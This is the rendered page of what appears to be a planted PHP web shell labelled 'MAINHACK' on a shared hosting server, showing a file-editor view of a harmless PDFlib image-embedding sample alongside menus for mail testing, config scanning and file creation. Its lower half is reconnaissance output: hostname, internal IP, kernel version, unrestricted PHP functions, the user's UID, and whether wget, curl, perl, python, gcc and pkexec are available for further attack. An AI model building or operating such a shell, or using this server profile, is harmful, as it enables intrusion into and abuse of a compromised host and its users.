[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: starter_pvf.php
File is not writable. Editing disabled.
<?php #!/usr/bin/perl # $Id: starter_pvf.php,v 1.1.2.1 2007/12/29 23:26:06 rjs Exp $ # PDFlib Virtual File system (PVF): # Create a PVF file which holds an image or PDF, and import the data from the # PVF file # # This avoids disk access and is especially useful when the same image or PDF # is imported multiply. For examples, images which sit in a database don't # have to be written and re-read from disk, but can be passed to PDFlib # directly in memory. A similar technique can be used for loading other data # such as fonts, ICC profiles, etc. # # Required software: PDFlib Lite/PDFlib/PDFlib+PDI/PPS 7 # Required data: image file # # Helper function to read the content of a file into a buffer # avoids incompatible systemcalls function read_file($fname) { $fp = fopen($fname, "r"); $data = fread ($fp, filesize($fname)); fclose($fp); return $data; } # read_file # This is where the data files are. Adjust as necessary. $searchpath = "../data"; $title = "PDFlib Virtual File System"; try { # create a new PDFlib object $p = new PDFlib(); $p->set_parameter("SearchPath", $searchpath); # This means we must check return values of load_font() etc. $p->set_parameter("errorpolicy", "return"); # Set an output path according to the name of the topic if ($p->begin_document("", "") == 0) { die("Error: " . $p->get_errmsg()); } $p->set_info("Creator", "PDFlib Cookbook"); $buf = $title . ' $Revision: 1.1.2.1 $'; $p->set_info("Title", $buf); # We just read some image data from a file; to really benefit # from using PVF read the data from a Web site or a database instead $imagedata = read_file("../data/PDFlib-logo.tif"); $p->create_pvf("/pvf/image", $imagedata, ""); # Load the image from the PVF $image = $p->load_image("auto", "/pvf/image", ""); if ($image == 0) { die("Error: " . $p->get_errmsg()); } # Fit the image on page 1 $p->begin_page_ext(595, 842, ""); $p->fit_image($image, 350, 750, ""); $p->end_page_ext(""); # Fit the image on page 2 $p->begin_page_ext(595, 842, ""); $p->fit_image($image, 350, 50, ""); $p->end_page_ext(""); # Delete the virtual file to free the allocated memory $p->delete_pvf("/pvf/image"); $p->end_document(""); $buf = $p->get_buffer(); $len = strlen($buf); header("Content-type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=hello.pdf"); print $buf; } catch (PDFlibException $e) { die("PDFlib exception occurred in hello sample:\n" . "[" . $e->get_errnum() . "] " . $e->get_apiname() . ": " . $e->get_errmsg() . "\n"); } catch (Exception $e) { die($e); } $p = 0; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A